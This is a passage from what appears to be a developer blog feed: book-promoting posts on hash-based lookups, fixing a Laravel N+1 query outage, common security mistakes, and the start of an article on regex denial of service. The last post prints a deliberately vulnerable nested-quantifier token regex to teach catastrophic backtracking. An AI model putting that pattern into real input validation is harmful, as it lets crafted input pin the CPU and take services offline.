    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$bannedUsers&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// reject&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// After: O(1) per check&lt;/span&gt;
&lt;span class="nv"&gt;$bannedUsers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_flip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getBannedUserList&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$allRequests&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bannedUsers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user_id'&lt;/span&gt;&lt;span class="p"&gt;]]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// reject&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;array_flip()&lt;/code&gt; turns the array values into keys. PHP arrays are hash maps under the hood, so &lt;code&gt;isset()&lt;/code&gt; on a key resolves in close to constant time, no matter how large the array gets. The lookup that took seconds now finishes before you notice it happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  JavaScript: reach for a Set
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before: O(n) per check&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowedIds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getAllowedIds&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// large array&lt;/span&gt;
&lt;span class="nx"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;allowedIds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// grant access&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// After: O(1) per check&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowedIds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getAllowedIds&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="nx"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;allowedIds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// grant access&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Set is built specifically for membership checks. &lt;code&gt;.has()&lt;/code&gt; does not walk the array looking for a match. It hashes the value and jumps straight to the answer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Python: swap the list for a set
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Before: O(n) per check
&lt;/span&gt;&lt;span class="n"&gt;banned_users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_banned_user_list&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# a list
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;all_requests&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;banned_users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# reject
&lt;/span&gt;        &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="c1"&gt;# After: O(1) per check
&lt;/span&gt;&lt;span class="n"&gt;banned_users&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get_banned_user_list&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;all_requests&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;banned_users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# reject
&lt;/span&gt;        &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code barely changes. The only difference is the data type, a list swapped for a set. Python's in operator behaves completely differently depending on which one you hand it. Against a list, it is a linear scan. Against a set, it is a hash lookup. Same keyword, same syntax, a completely different performance story.&lt;/p&gt;

&lt;p&gt;In every one of these three languages, the fix is not clever. It is not advanced. It takes one line to build the right data structure once, before the loop, instead of forcing the search to happen over and over inside it. That single change is often the difference between a feature that scales quietly and one that pages the on call engineer at 2am.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Crime Keeps Happening
&lt;/h2&gt;

&lt;p&gt;The honest answer is that &lt;code&gt;in_array()&lt;/code&gt;, &lt;code&gt;.includes()&lt;/code&gt;, and &lt;code&gt;in&lt;/code&gt; are not wrong functions. They exist for good reasons and they are perfectly fine for small, fixed size lists. The mistake is not the function itself. It is using it without asking a simple question first: how big can this list get, and how many times am I about to search it.&lt;/p&gt;

&lt;p&gt;That single question, asked at the moment you write the loop instead of the moment your server starts timing out, is the difference between code that merely works and code that actually holds up once real traffic arrives. It is a small habit, but it is the kind of habit that separates developers who ship features from developers whose features survive contact with production.&lt;/p&gt;

&lt;p&gt;This exact pattern, a familiar, harmless looking line quietly turning into a performance or security liability once real scale hits it, is the entire premise behind &lt;strong&gt;Code Crimes: Security &amp;amp; Performance Mistakes in Modern Code&lt;/strong&gt;. The book walks through more than two hundred real vulnerability and performance case studies across &lt;strong&gt;Python&lt;/strong&gt;, &lt;strong&gt;PHP&lt;/strong&gt;, and &lt;strong&gt;JavaScript&lt;/strong&gt;, the same three languages covered here, each one broken down into what the mistake actually is, what it costs in a real production system, and the professional fix a senior engineer would reach for.&lt;/p&gt;

&lt;p&gt;Linear search bottlenecks like this one are just a single chapter's worth of crimes. The book covers dozens more, from insecure defaults to N plus one queries to authentication shortcuts that quietly leave a door open.&lt;/p&gt;

&lt;p&gt;You can read more about the book here: &lt;a href="https://zuqolab.com/blog/code-crimes-the-book-every-developer-needs-before-their-next-code-review" rel="noopener noreferrer"&gt;Code Crimes: The Book Every Developer Needs Before Their Next Code Review&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or grab it directly on Amazon: &lt;a href="https://www.amazon.com/dp/B0H678BFCK" rel="noopener noreferrer"&gt;https://www.amazon.com/dp/B0H678BFCK&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If a single line like &lt;code&gt;in_array()&lt;/code&gt; inside a loop can cost your app seconds per request at scale, it is worth asking what else is quietly hiding in your codebase, waiting for the traffic to arrive that finally exposes it.&lt;/p&gt;

</description>
      <category>performanceoptimization</category>
      <category>algorithmcomplexity</category>
      <category>linearsearchalgorithm</category>
      <category>inarrayphp</category>
    </item>
    <item>
      <title>The Midnight Call That Exposed a Silent Killer in a Laravel Store</title>
      <dc:creator>Akeem O. Salau</dc:creator>
      <pubDate>Thu, 09 Jul 2026 23:51:31 +0000</pubDate>
      <link>https://dev.to/obrainwave/the-midnight-call-that-exposed-a-silent-killer-in-a-laravel-store-334</link>
      <guid>https://dev.to/obrainwave/the-midnight-call-that-exposed-a-silent-killer-in-a-laravel-store-334</guid>
      <description>&lt;p&gt;My phone buzzed at 2:14 in the morning. I did not recognize the number, and I almost let it ring out, until I remembered that a friend had passed my contact to a store owner earlier that day, telling her to call me directly if things got worse overnight. It clearly had.&lt;/p&gt;

&lt;p&gt;Her voice was shaking, the voice of someone who does not normally call a stranger past midnight. I could tell right away this was not a small problem.&lt;/p&gt;

&lt;p&gt;"Orders have stopped coming in," she said. "I do not know what is happening. I thought maybe it was just a slow night, but it has been hours."&lt;/p&gt;

&lt;p&gt;She told me she had noticed the order count on her dashboard looked unusually quiet earlier that evening, but she brushed it off, thinking people were simply not shopping that night. It was only when she got curious and tried to open the products page herself that she realized something was badly broken. The page spun. And spun. She waited. Almost five minutes later, it finally loaded.&lt;/p&gt;

&lt;p&gt;Five minutes. On a products page. For a store that normally loaded in under two seconds.&lt;/p&gt;

&lt;p&gt;I told her to give me fifteen minutes and hung up, already reaching for my laptop before the call had even fully ended.&lt;/p&gt;

&lt;h2&gt;
  
  
  When Five Minutes Feels Like Forever
&lt;/h2&gt;

&lt;p&gt;If you have ever run an online store, you know that every second a page takes to load is a second closer to losing a customer. Studies on ecommerce behavior have shown for years that shoppers abandon pages that take more than a few seconds to load. A five minute load time is not slow. It is effectively down. To a customer scrolling on their phone during a lunch break or a late night browsing session, a page that will not load is a page that does not exist.&lt;/p&gt;

&lt;p&gt;And for her, this was not a small inconvenience. This was her income. Every minute that products page stayed broken was a minute her store was invisible to real buyers, even though the site was technically still online.&lt;/p&gt;

&lt;p&gt;She sent over temporary server access within minutes, no questions asked, she just wanted it fixed. I logged in for the first time ever on this codebase, and since I had no history with it and no time to read through it line by line, I dropped in Laravel Telescope right there on the spot to get real visibility into what was actually happening under the hood. Within seconds of loading the products page myself, I understood why she had been sitting there watching a spinner for five minutes.&lt;/p&gt;

&lt;p&gt;The query log was flooded. Not with ten queries. Not with fifty. Thousands of queries were firing for a single page load.&lt;/p&gt;

&lt;h2&gt;
  
  
  Digging Into the Code
&lt;/h2&gt;

&lt;p&gt;My first instinct was that maybe the server had run out of memory, or a background job had somehow locked up the database, or there had been a bad deployment. But the query count told a different story. This was not a server problem. This was a code problem, and it had probably been quietly getting worse for weeks.&lt;/p&gt;

&lt;p&gt;I opened the controller responsible for rendering the products page. On the surface, the code looked completely normal. Something like this.&lt;/p&gt;

&lt;p&gt;The controller fetched all active products, looped through them, and for each product pulled its images, its category name, and its average review rating to display on the storefront cards. Nothing about it looked dangerous. It read like clean, simple Laravel code, the kind you would write without thinking twice.&lt;/p&gt;

&lt;p&gt;But that loop was the trap.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Culprit Hiding in Plain Sight
&lt;/h2&gt;

&lt;p&gt;Here is the part that catches even experienced developers off guard. Eloquent, the ORM that powers database interactions in Laravel, is beautifully expressive. You can write &lt;code&gt;$product-&amp;gt;images&lt;/code&gt;, &lt;code&gt;$product-&amp;gt;category&lt;/code&gt;, &lt;code&gt;$product-&amp;gt;reviews&lt;/code&gt; and it just works, almost like magic. That magic is exactly what makes the N plus one problem so easy to miss.&lt;/p&gt;

&lt;p&gt;When you fetch a list of products with a single query, that part is efficient. The trouble starts the moment you loop through those products and access a relationship on each one individually, like calling &lt;code&gt;$product-&amp;gt;images&lt;/code&gt; inside a &lt;code&gt;foreach&lt;/code&gt; loop. Every single call like that fires its own separate database query.&lt;/p&gt;

&lt;p&gt;So if her store had 40 products showing on a page, and each product needed its images, its category, and its reviews loaded individually, that is not 40 extra queries. That is potentially 120 or more, on top of the original query just to fetch the products. As her catalog had grown over the months, from a modest 40 products to well over 500, that number had grown right alongside it. What might have been a mildly inefficient page at launch had quietly become a page firing north of 1,500 individual database queries every time someone tried to browse her store.&lt;/p&gt;

&lt;p&gt;Nobody had written bad code on purpose. The original implementation worked fine when the catalog was small. It is a mistake I have seen in projects far beyond hers, and one I actually cover in detail in my book, because it is one of the most common and most dangerous performance traps in modern web applications. It rarely announces itself with an error. It just gets slower, and slower, until one night it stops being usable altogether.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finding the Exact Breaking Point
&lt;/h2&gt;

&lt;p&gt;Before touching anything, I wanted to be certain I understood the full scope of the problem, not just guess at it. I used Telescope's query view to trace exactly where the flood of queries was originating from, and confirmed it through Laravel Debugbar locally. Both pointed to the same three relationships being lazy loaded inside the products loop, images, category, and reviews.&lt;/p&gt;

&lt;p&gt;I asked her if anything had changed recently on the site, a new feature, a redesign, a plugin, anything at all. She said no, nothing recent, as far as she knew. That told me this was not a fresh bug someone had just introduced. This had been building gradually as her product catalog grew. Growth, in this case, was the thing that turned a hidden inefficiency into a full blown outage. That is often how these incidents happen. The code was never technically broken. It simply was not built to survive success.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;The fix itself, once diagnosed, took far less time than the diagnosis did. This is almost always true with N plus one problems. The hard part is finding them, not fixing them.&lt;/p&gt;

&lt;p&gt;Instead of letting each product lazily pull its own relationships one at a time, I rewrote the query to eager load everything up front using Eloquent's &lt;code&gt;with()&lt;/code&gt; method. Rather than fetching products and then separately reaching back into the database for images, category, and reviews for every single row, the application now fetched products along with their images, category, and reviews in a small, fixed number of queries, regardless of whether the catalog had 40 products or 4,000.&lt;/p&gt;

&lt;p&gt;I also added a review count and average rating as calculated fields directly in the same eager load, rather than looping and calculating them in PHP afterward, which shaved off even more overhead. To protect against this ever silently creeping back in, I added a safeguard in the local development environment that throws a warning whenever a lazy relationship is accessed inside a loop, so any future code like this gets caught before it ever reaches production.&lt;/p&gt;

&lt;p&gt;The Moment It Clicked&lt;/p&gt;

&lt;p&gt;I refreshed the products page.&lt;/p&gt;

&lt;p&gt;It loaded instantly.&lt;/p&gt;

&lt;p&gt;I ran it again, timing it properly this time. Consistently under one second, down from nearly five minutes. Query count dropped from over 1,500 to just six.&lt;/p&gt;

&lt;p&gt;I called her back. It was almost 3 in the morning at this point, but she picked up on the first ring.&lt;/p&gt;

&lt;p&gt;"Try loading your products page now," I told her.&lt;/p&gt;

&lt;p&gt;There was a pause, then a short laugh of relief. "It is instant," she said. "Oh my goodness, it is actually instant."&lt;/p&gt;

&lt;p&gt;By the next morning, her order numbers had already started climbing back to normal. The store had not lost customers because people stopped wanting to buy from her. It had lost customers because, for a stretch of hours, her store had quietly made it nearly impossible for anyone to buy anything at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  What This Incident Actually Taught Me
&lt;/h2&gt;

&lt;p&gt;A few things stuck with me long after that night.&lt;/p&gt;

&lt;p&gt;The first is that performance problems rarely arrive with a warning label. Nobody gets an alert that says a page is about to become five times slower than it was last month. It happens gradually, hidden behind code that looks perfectly reasonable, until growth or traffic finally exposes it all at once.&lt;/p&gt;

&lt;p&gt;The second is that monitoring is not optional once real money is involved. Her store did not have query level monitoring in place before that night. It does now. Tools like Laravel Telescope in staging, or a proper application performance monitoring service in production, would have flagged this problem weeks before it became an emergency phone call.&lt;/p&gt;

&lt;p&gt;The third, and maybe the most important, is that clean looking code is not the same as efficient code. The controller that caused all of this looked simple and readable. That is exactly why it slipped through. N plus one issues are sneaky precisely because they do not look like bugs. They look like normal, everyday Eloquent usage.&lt;/p&gt;

&lt;h3&gt;
  
  
  If You Are Running Laravel in Production, Check These Things
&lt;/h3&gt;

&lt;p&gt;If you maintain a Laravel application that touches real revenue, a few habits can save you from a night like this one.&lt;/p&gt;

&lt;p&gt;Turn on Laravel Telescope or Debugbar in a staging environment and actually watch the query count on your busiest pages, not just once, but as your data grows.&lt;/p&gt;

&lt;p&gt;Get comfortable with eager loading using with() any time you are looping through a collection and accessing a relationship inside that loop.&lt;/p&gt;

&lt;p&gt;Set a mental or literal query budget for key pages. If your products page or dashboard is firing more than a handful of queries, that is worth investigating before it becomes a crisis.&lt;/p&gt;

&lt;p&gt;Test your critical pages with realistic data volume, not just the 10 sample products you used during development. Problems like this one hide comfortably at small scale and only show their teeth once your catalog, your orders, or your users actually grow.&lt;/p&gt;

&lt;p&gt;And finally, have someone you can call in a genuine emergency, and make sure your systems are set up so that when that call comes, you can actually diagnose the problem quickly instead of guessing in the dark.&lt;/p&gt;

&lt;p&gt;Her store survived that night because the fix, once found, was straightforward. Not every story like this ends that cleanly, and this is far from the only crime scene I have walked into. Some cost companies their data. Some cost them their reputation. Most of them, like this one, hide quietly inside code that looks completely normal until the night it does not.&lt;/p&gt;

&lt;p&gt;That is exactly why I wrote &lt;a href="https://zuqolab.com/blog/code-crimes-the-book-every-developer-needs-before-their-next-code-review" rel="noopener noreferrer"&gt;Code Crimes, Security and Performance Mistakes in Modern Code&lt;/a&gt;. It walks through real mistakes like this one across Python, PHP, and JavaScript, the kind that quietly cost teams performance, money, and security, and it breaks down exactly how each one shows up, what it actually costs, and how to fix it the professional way, before it becomes your own 2 AM phone call.&lt;/p&gt;

&lt;p&gt;You can read more about the book &lt;a href="https://zuqolab.com/blog/code-crimes-the-book-every-developer-needs-before-their-next-code-review" rel="noopener noreferrer"&gt;here&lt;/a&gt;, or go straight to &lt;a href="https://www.amazon.com/dp/B0H678BFCK" rel="noopener noreferrer"&gt;Amazon &lt;/a&gt;to grab a copy.&lt;/p&gt;

</description>
      <category>laravel</category>
      <category>phpperformance</category>
      <category>databaseoptimization</category>
      <category>nplus1query</category>
    </item>
    <item>
      <title>The Hidden Security and Performance Mistakes Killing Your Python, PHP, and JavaScript Projects</title>
      <dc:creator>Akeem O. Salau</dc:creator>
      <pubDate>Fri, 03 Jul 2026 10:22:06 +0000</pubDate>
      <link>https://dev.to/obrainwave/performance-mistakes-1162</link>
      <guid>https://dev.to/obrainwave/performance-mistakes-1162</guid>
      <description>&lt;p&gt;Every week, another company makes headlines for a data breach or a site that crawled to a halt under normal traffic. In most cases, the root cause was not some sophisticated attack or freak server failure. It was a mistake that had been sitting quietly in the codebase for months, waiting to be noticed by the wrong person or the wrong spike in users.&lt;/p&gt;

&lt;p&gt;Security and performance are often treated as separate concerns, handled by different teams at different stages of a project. In reality, they are deeply connected. A slow query is often an unindexed query, and an unindexed query is often the same query that lets an attacker enumerate your entire user table through a poorly designed endpoint. The same corners that get cut for speed of development tend to be the corners that create both problems at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Security and Performance Are Two Sides of the Same Coin
&lt;/h2&gt;

&lt;p&gt;When code is rushed, developers reach for the fastest working solution rather than the correct one. That might mean skipping input validation because "the frontend already checks it," or writing a database query inside a loop because refactoring it properly would take longer. These shortcuts compile, they pass the demo, and they ship. Then six months later, traffic grows, the loop query brings the server down, or a curious user changes a parameter in the URL and gets access to data they should never see.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Python Mistakes Developers Keep Repeating
&lt;/h3&gt;

&lt;p&gt;Python's readability gives developers a false sense of safety. Some of the most common issues include using eval() or pickle on data that comes from users, which can allow arbitrary code execution. Another frequent problem is the N+1 query pattern in Django and Flask apps, where a single page load triggers hundreds of unnecessary database calls because relationships were not eager loaded. Developers also tend to skip proper exception handling in production code, exposing stack traces that hand attackers a roadmap of the internal system.&lt;/p&gt;

&lt;h3&gt;
  
  
  PHP's Silent Killers
&lt;/h3&gt;

&lt;p&gt;PHP still powers a huge share of the web, and many of its long standing habits carry real risk. SQL injection remains alive and well in codebases that concatenate user input directly into queries instead of using prepared statements. File upload handlers are another weak point, often accepting files without properly checking their type or where they get stored, which opens the door to remote code execution. On the performance side, many PHP applications still run without any caching layer for repeated database reads, meaning every page load hits the database from scratch even when the data has not changed in hours.&lt;/p&gt;

&lt;h3&gt;
  
  
  JavaScript's Speed and Security Traps
&lt;/h3&gt;

&lt;p&gt;JavaScript sits in a strange spot because it runs on both the client and the server, and mistakes on either side create very different problems. On the frontend, developers often trust data from local storage or cookies without realizing it can be manipulated by anyone with browser dev tools open. On the backend, Node.js applications frequently suffer from blocking the event loop with heavy synchronous operations, which quietly tanks performance for every user connected at that moment. Dependency sprawl is another issue unique to the JavaScript ecosystem, where a single npm install can pull in hundreds of packages, some of which carry known vulnerabilities that never get patched because nobody is tracking them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Cost of Ignoring These Mistakes
&lt;/h2&gt;

&lt;p&gt;These are not abstract concerns. A breach means legal exposure, lost customer trust, and in many regions, regulatory penalties. A slow application means abandoned carts, lower search rankings, and users who quietly switch to a competitor without ever filing a complaint. The frustrating part is that most of these problems are preventable with patterns that take barely more effort than the shortcut that caused them.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Fix This Before It Costs You
&lt;/h2&gt;

&lt;p&gt;The fix is rarely a rewrite. It is usually a shift in habits: validating input at every layer, not just the frontend, using parameterized queries by default, profiling database calls before they become a bottleneck, and treating dependency updates as a routine task rather than something to deal with after an incident. These are the exact patterns broken down in detail in my book, &lt;a href="https://zuqolab.com/blog/code-crimes-the-book-every-developer-needs-before-their-next-code-review" rel="noopener noreferrer"&gt;Code Crimes: Security &amp;amp; Performance Mistakes in Modern Code&lt;/a&gt;, which walks through real, recurring mistakes in Python, PHP, and JavaScript and shows exactly how to catch them before they reach production.&lt;/p&gt;

&lt;p&gt;If you write code that other people depend on, whether that is a small business tool or a platform with thousands of daily users, these are not optional lessons. They are the difference between a codebase that quietly holds up under pressure and one that quietly falls apart.&lt;/p&gt;

&lt;h3&gt;
  
  
  Get the book:
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://amazon.com/dp/B0H678BFCK" rel="noopener noreferrer"&gt;amazon.com/dp/B0H678BFCK&lt;/a&gt;&lt;br&gt;
&lt;a href="https://amazon.co.uk/dp/B0H678BFCK" rel="noopener noreferrer"&gt;amazon.co.uk/dp/B0H678BFCK&lt;/a&gt;&lt;br&gt;
&lt;a href="https://amazon.fr/dp/B0H678BFCK" rel="noopener noreferrer"&gt;amazon.fr/dp/B0H678BFCK&lt;/a&gt;&lt;/p&gt;

</description>
      <category>softwaresecurity</category>
      <category>codeperformance</category>
      <category>codingbestpractices</category>
      <category>securedcode</category>
    </item>
    <item>
      <title>This One Regex Line Can Take Your Python App Offline (And You'd Never Suspect It)</title>
      <dc:creator>Akeem O. Salau</dc:creator>
      <pubDate>Sat, 20 Jun 2026 21:07:03 +0000</pubDate>
      <link>https://dev.to/obrainwave/this-one-regex-line-can-take-your-python-app-offline-and-youd-never-suspect-it-1cnb</link>
      <guid>https://dev.to/obrainwave/this-one-regex-line-can-take-your-python-app-offline-and-youd-never-suspect-it-1cnb</guid>
      <description>&lt;p&gt;You write a regex pattern to validate a token. Something simple. You test it with real input, it works perfectly, you ship it, and you move on to the next ticket. Weeks later your app grinds to a halt under what looks like a tiny amount of traffic. No memory leak. No database lock. No obvious culprit in your logs. Just one thread, pinned at 100% CPU, doing absolutely nothing useful.&lt;/p&gt;

&lt;p&gt;The cause was sitting in your code the whole time. It was that regex.&lt;/p&gt;

&lt;p&gt;This is one of the sneakier bugs a backend developer can write, because it doesn't fail the way bugs normally fail. It doesn't throw an exception. It doesn't return the wrong value. It just runs forever on a tiny, perfectly ordinary-looking string. And if you're validating anything user-submitted, alphanumeric tokens, CSV fields, tracking IDs, usernames, you have probably written a version of this exact mistake without knowing it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup: a regex that looks completely reasonable
&lt;/h2&gt;

&lt;p&gt;Say you're validating tokens submitted by users. Something like a tracking ID or an alphanumeric code. You want to allow letters, numbers, and underscores, and you want the whole string to match from start to end. A natural first attempt looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="c1"&gt;# Looks safe, but the nested '+' and '*' create exponential paths
&lt;/span&gt;
&lt;span class="n"&gt;VULNERABLE_REGEX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^([a-zA-Z0-9_]+)*$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VULNERABLE_REGEX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you test this with valid tokens, it works instantly. Feed it user_123_abc and you get a clean True in microseconds. Everything looks fine. It passes code review. It passes your test suite. It ships.&lt;/p&gt;

&lt;p&gt;The problem only shows up when someone sends a string that is almost valid but not quite, something like thirty or forty valid characters followed by a single invalid one at the very end. At that point, the regex engine doesn't just fail quickly. It tries to fail in every possible way before giving up, and the number of ways grows exponentially with the length of the input.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this happens: nested quantifiers are ambiguous
&lt;/h2&gt;

